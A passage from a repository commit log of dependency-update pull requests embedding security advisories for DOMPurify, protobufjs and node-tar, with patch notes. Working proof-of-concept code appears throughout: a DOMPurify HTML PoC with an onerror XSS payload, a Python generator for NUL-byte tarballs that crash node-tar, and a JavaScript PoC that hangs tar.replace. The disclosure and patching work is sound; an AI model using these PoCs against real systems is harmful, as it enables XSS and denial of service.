        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }
```

`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at
`src/purify.ts`: line 741~748

```tsx
const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);
```

In particular, `tagNameCheck`, `attributeNameCheck`, and
`allowCustomizedBuiltInElements` are copied into the internal
`CUSTOM_ELEMENT_HANDLING` object there.

During element sanitization, `_sanitizeElements()` checks whether a node
is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814

```tsx
/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }
```

If so, it immediately delegates to `_sanitizeDisallowedNode(currentNode,
tagName)` and returns its boolean result.

Inside `_sanitizeDisallowedNode()`, the custom-element-specific allow
path is implemented at `src/purify.ts`: line 1672~1692

```tsx
const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }
```

If the node is treated as a basic custom element and
`CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns
`false` immediately at line 1682 or 1689, meaning “do not remove this
node”.

That early `return false` is significant because control returns
directly to `_sanitizeElements()` via the `return
_sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic
in `_sanitizeElements()` is skipped for that custom element instance,
including:

- the namespace validation at `src/purify.ts`: line 1816~1826

```tsx
* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }
```

- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837

```tsx
/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }
```

- most importantly for this report, the `afterSanitizeElements` hook
dispatch at `src/purify.ts`: line 1850~1851.

```tsx
   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);
```

In other words, a normal allowlisted element continues through
`_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a
disallowed-by-default element that is revived by the
`CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a
policy inconsistency: an application that relies on
`afterSanitizeElements` to remove an attribute from all elements will
observe that the policy is applied to normal elements but not to custom
elements allowed through `CUSTOM_ELEMENT_HANDLING`.

In the PoC, the application hook removes `data-bio` from ordinary
elements, but the same attribute remains on `<x-bio>` because the
custom-element keep path bypasses `afterSanitizeElements`. The attribute
itself is inert at sanitize time and DOMPurify is not directly allowing
executable SVG/HTML through. The security impact appears when the
application-defined custom element later reads the preserved `data-bio`
value in `connectedCallback()` and writes it to `innerHTML`, turning the
preserved attribute into a second-order XSS gadget.

##### PoC

Reproduced on DOMPurify 3.4.11.

##### Steps

1. Save the following HTML to a file, for example `poc.html`.
2. Open it in a browser.
3. Observe that the `div` control loses `data-bio`, while the allowed
custom element keeps it.
4. Observe that after `connectedCallback()` runs, the candidate payload
is reinserted into the DOM and executes through the custom element’s own
sink.

##### HTML PoC

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
```

##### Expected result

```
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true
```

This is output of HTML PoC.

<img width="1917" height="961" alt="poc"
src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10"
/>

##### Impact

This does not appear to affect DOMPurify’s default configuration as a
direct sanitizer bypass.

The impact is limited to applications that:

- enable `CUSTOM_ELEMENT_HANDLING`,
- rely on `afterSanitizeElements` as a security policy layer,
- expect that hook to apply uniformly to all surviving elements,
- and have allowed custom elements that later re-inject preserved
attribute values into `innerHTML` or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget
because a security-relevant attribute is removed from normal elements
but remains on allowed custom elements.

Possible fixes or mitigations might include

- ensuring that allowed custom elements also consistently pass through
`afterSanitizeElements`
- documenting clearly that elements preserved via
`CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element
hook flow as normal allowlisted elements.

#### Severity
- CVSS Score: 2.1 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N`

#### References
-
[https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4)
-
[https://github.com/cure53/DOMPurify/pull/1537](https://redirect.github.com/cure53/DOMPurify/pull/1537)
-
[https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197](https://redirect.github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197)
-
[https://github.com/cure53/DOMPurify/releases/tag/3.4.12](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.12)
-
[https://github.com/advisories/GHSA-c2j3-45gr-mqc4](https://redirect.github.com/advisories/GHSA-c2j3-45gr-mqc4)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-c2j3-45gr-mqc4)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>cure53/DOMPurify (dompurify)</summary>

###
[`v3.4.12`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.12):
DOMPurify 3.4.12

[Compare
Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.11...3.4.12)

- Fixed an issue where a hook would not get called for custom elements,
thanks [@&#8203;Rikuxx0](https://redirect.github.com/Rikuxx0)
- Hardened the handling of hooks removing elements,
[@&#8203;mkrause-bee360](https://redirect.github.com/mkrause-bee360)
- Added support for a few new SVG attributes, thanks
[@&#8203;cbn-falias](https://redirect.github.com/cbn-falias) &
[@&#8203;Develop-KIM](https://redirect.github.com/Develop-KIM)
- Hardened the handling of declarative partial updates
- Updated the documentation is several spots, README, wiki, etc.
- Bumped several dependencies where possible

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzUuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI3NS4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-23 11:35:23 +08:00
DarkSky 1d36e2e4b2 feat(core): improve mobile perf (#15317)
#### PR Dependency Tree


* **PR #15317** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Virtualized mobile navigation with shell navigation and interactive
swipe menus; coordinated mobile back handling with interactive
phases/state restoration.
* Added shared auth request proxy and message-port based token handling
across mobile and worker flows.
* **Bug Fixes**
  * Hydrated remote worker error stacks for calls and observable errors.
* Improved SQLite FTS/indexer and nbstore optional text handling;
refined docs-search ref parsing and notification loading/retry.
* **Refactor / UX**
* Modal focus-preservation and pointer behavior updates; improved mobile
menu controls and back gesture plugins.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-23 00:23:21 +08:00
renovate[bot] 927cc45c7b chore: bump up protobufjs version to v7.6.5 [SECURITY] (#15296)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [protobufjs](https://redirect.github.com/protobufjs/protobuf.js) |
[`7.6.4` →
`7.6.5`](https://renovatebot.com/diffs/npm/protobufjs/7.6.4/7.6.5) |
![age](https://developer.mend.io/api/mc/badges/age/npm/protobufjs/7.6.5?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/protobufjs/7.6.4/7.6.5?slim=true)
|

---

### protobufjs: Denial of Service via infinite loop in .proto option
parsing
[CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877) /
[GHSA-j3f2-48v5-ccww](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww)

<details>
<summary>More information</summary>

#### Details
##### Summary

protobufjs parsed option names by advancing through schema tokens until
it reached an `=` token, without checking for end of input. A crafted
`.proto` schema that opens an option declaration but ends prematurely
could cause the option parser to loop without ever terminating.

This affects the reflection parsing path (`parse`, `Root.load`,
`Root.loadSync`).

##### Impact

An attacker who can provide or influence `.proto` schema text parsed by
an application may be able to cause the parsing call to never return.
Because Node.js is single-threaded, the blocked event loop prevents all
other work in the process, resulting in a denial of service that
persists until the process is externally terminated.

Applications that only encode or decode protobuf binary data with
trusted schemas are not directly affected.

##### Preconditions

- The application must parse `.proto` schema text influenced by an
attacker.
- The schema must be parsed through APIs such as `parse`, `Root.load`,
or `Root.loadSync`.
- The crafted input must begin an option declaration that ends before
its `=` assignment.

##### Workarounds

Do not parse `.proto` schemas from untrusted sources with affected
versions. If untrusted schema text must be accepted, isolate parsing in
a process or worker that can be safely terminated and bound it with a
timeout, so a non-returning parse call cannot deny service to the rest
of the application.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww](https://redirect.github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877)
-
[https://github.com/protobufjs/protobuf.js/pull/2352](https://redirect.github.com/protobufjs/protobuf.js/pull/2352)
-
[https://github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217](https://redirect.github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217)
-
[https://github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f](https://redirect.github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f)
-
[https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5)
-
[https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6)
-
[https://github.com/advisories/GHSA-j3f2-48v5-ccww](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>protobufjs/protobuf.js (protobufjs)</summary>

###
[`v7.6.5`](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5):
protobufjs: v7.6.5

[Compare
Source](https://redirect.github.com/protobufjs/protobuf.js/compare/protobufjs-v7.6.4...protobufjs-v7.6.5)

##### Bug Fixes

- handle EOF during options parsing
([#&#8203;2352](https://redirect.github.com/protobufjs/protobuf.js/issues/2352))
([#&#8203;2356](https://redirect.github.com/protobufjs/protobuf.js/issues/2356))
([10fba6d](https://redirect.github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-21 13:27:16 +08:00
renovate[bot] cbc63b9f73 chore: bump up tar version to v7.5.19 [SECURITY] (#15297)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [tar](https://redirect.github.com/isaacs/node-tar) | [`7.5.16` →
`7.5.19`](https://renovatebot.com/diffs/npm/tar/7.5.16/7.5.19) |
![age](https://developer.mend.io/api/mc/badges/age/npm/tar/7.5.19?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tar/7.5.16/7.5.19?slim=true)
|

---

### node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath
records
[CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) /
[GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)

<details>
<summary>More information</summary>

#### Details
##### Summary

`node-tar` strips trailing `NUL` bytes from long-name (`L`) and
long-linkpath (`K`) GNU extended headers but does **not** apply the same
sanitization to equivalent fields delivered via PAX (`x` typeflag)
extended headers. A PAX record of the form
`path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path`
and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects
with `ERR_INVALID_ARG_VALUE`. The throw originates inside an
`FSReqCallback` async chain that is **not** wrapped by the consumer's
`await/try-catch` around `tar.x()` — it surfaces as `uncaughtException`
and terminates the process.

This is a remote denial-of-service primitive against any process that
extracts attacker-supplied tarballs through `tar.x` / `tar.extract` /
`tar.t` / `tar.Parser`, even when the consumer follows the documented
`try/catch` error-handling pattern.

A secondary parser-differential (CWE-436) exists because `tar(1)`,
`bsdtar`, and Python `tarfile` truncate the path at the first `NUL`
(yielding `visible.txt`) while node-tar retains the full string. A
validator that pre-scans a tarball with one tool and extracts with the
other is bypassed.

---

##### Root cause

##### Vulnerable sink — `src/pax.ts:157-183`

PAX KV records flow through `parseKVLine`. The value half (`v`) is
assigned directly to the result object with no sanitization for embedded
NUL bytes:

```ts
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}
```

The PAX record body is length-prefixed, so the parser knows the exact
byte boundary — but it never checks whether the value half between `=`
and `\n` contains `NUL`. The result is consumed by `Header` /
`ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded
NUL all the way to `fs.lstat()`.

##### Correctly-patched cousin sink — `src/parse.ts:375-388`

The equivalent code path for GNU L/K long-headers **does** strip NUL
bytes:

```ts
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}
```

The `parse.ts` fix is the maintainer's own acknowledgement that path
strings on this codepath must be NUL-stripped before reaching `fs.*`.
The PAX path produces the identical primitive but bypasses the guard.

##### Downstream blast radius

`entry.path` and `entry.linkpath` are consumed in:
- `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`,
`fs.mkdir`
- `src/list.ts` (no crash — listing tolerates NUL in strings)
- Any consumer of the `ReadEntry` event that calls `path.join()` /
`fs.*` on `entry.path`

The crash fires inside the FSReqCallback Node-internal async machinery,
**outside** the user's `await tar.x(...)` Promise rejection boundary.

---

##### Proof of Concept

##### Artifacts
- `poc-null-byte-crash.tar` — 3072 bytes — PAX
`path=visible.txt\x00hidden.txt`
- `poc-null-linkpath-crash.tar` — 2560 bytes — PAX
`linkpath=target\x00garbage` (symlink target sink)
- `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps)

##### Tarball generator (minimal repro — Python 3)

```python

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)
```

##### Reproduction

```bash

##### 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

##### 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

##### 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'
```

##### Observed output (verified 2026-06-23 against `tar@7.5.16`)

```
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
```

The exception bypasses the user's `try { await tar.x(...) } catch (e) {
... }` block and lands in the global `uncaughtException` handler. In a
typical server without that handler, the process exits.

---

##### Impact

##### Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar
inherits a one-tarball-kills-the-process primitive. Realistic
deployments where this is reachable without user interaction:

- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (`actions/cache`, `actions/setup-*`
extracting toolchains)
- Container image build pipelines that unpack layer tarballs through
node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and
extract dep tarballs
- Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

```js
try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}
```

does not catch this throw. The Node process dies and (depending on the
supervisor) the worker may take time to respawn or never respawn if it
dies during boot.

##### Secondary: parser-differential validator bypass (CWE-436)

| Tool | Result for `path=visible.txt\x00hidden.txt` |

|----------------------------|----------------------------------------------|
| GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) |
| `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) |
| Python `tarfile.list()` | Lists `visible.txt\x00hidden.txt` (raw) |
| node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) |
| node-tar `tar.x({file})` | **Crashes** (uncaught throw) |

A pre-flight validator using GNU tar or bsdtar will see a benign
filename; the subsequent node-tar extraction blows up. This is
exploitable against any architecture that
lists-and-validates-then-extracts.

---

##### Suggested patch

Match the long-name handler in `parse.ts` — strip everything from the
first NUL onward in `parseKVLine` value parsing:

```diff
--- a/src/pax.ts
+++ b/src/pax.ts
@&#8203;@&#8203; -173,7 +173,7 @&#8203;@&#8203; const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)
```

This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both
`path` and `linkpath` sinks in one change.

A defense-in-depth follow-up: add an explicit
`assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of
`parseKVLine` so malformed PAX records that *aren't* path/linkpath also
can't smuggle NUL into other unanticipated consumers (e.g. third-party
readers of `entry.header.atime` Date objects constructed from
`Number(v)` where `v` had embedded NUL).

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875)
-
[https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3](https://redirect.github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.17](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.17)
-
[https://github.com/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Negative tar entry size causes infinite loop in archive
replace
[CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874) /
[GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)

<details>
<summary>More information</summary>

#### Details
##### Summary

A checksum-valid tar archive with a negative base-256 encoded entry size
can make `tar.replace()` loop forever while scanning the existing
archive. Applications that update attacker-controlled tar archives can
have a worker process pinned indefinitely, causing denial of service.

##### Details

The public `tar.replace()` API scans the existing archive before
appending replacement entries. During this scan, it parses each tar
header and advances the archive position by the parsed entry size
rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can
encode the entry size as `-512` while still carrying a valid checksum.
The replace scan accepts that parsed negative size and uses it in the
position-advance calculation.

For a size of `-512`, the computed body skip is `-512`. The scan then
adds the normal 512-byte header step, resulting in no net progress. The
scanner repeatedly parses the same header forever and never reaches the
append step.

This is reachable through the supported package API when the existing
archive file is attacker controlled. It does not rely on extraction,
dependency behavior, or an uncaught exception.

##### PoC

Save as `poc.mjs` in a project with the vulnerable package installed and
run:

```bash
node poc.mjs
```

```js
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true
```

##### Impact

An application that calls `tar.replace()` on an existing archive
supplied or controlled by an attacker can be forced into a
non-terminating archive scan. This can consume a worker process
indefinitely and cause denial of service. Plain extraction-only
workflows are not affected by this finding.

#### Severity
- CVSS Score: 8.7 / 10 (High)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874)
-
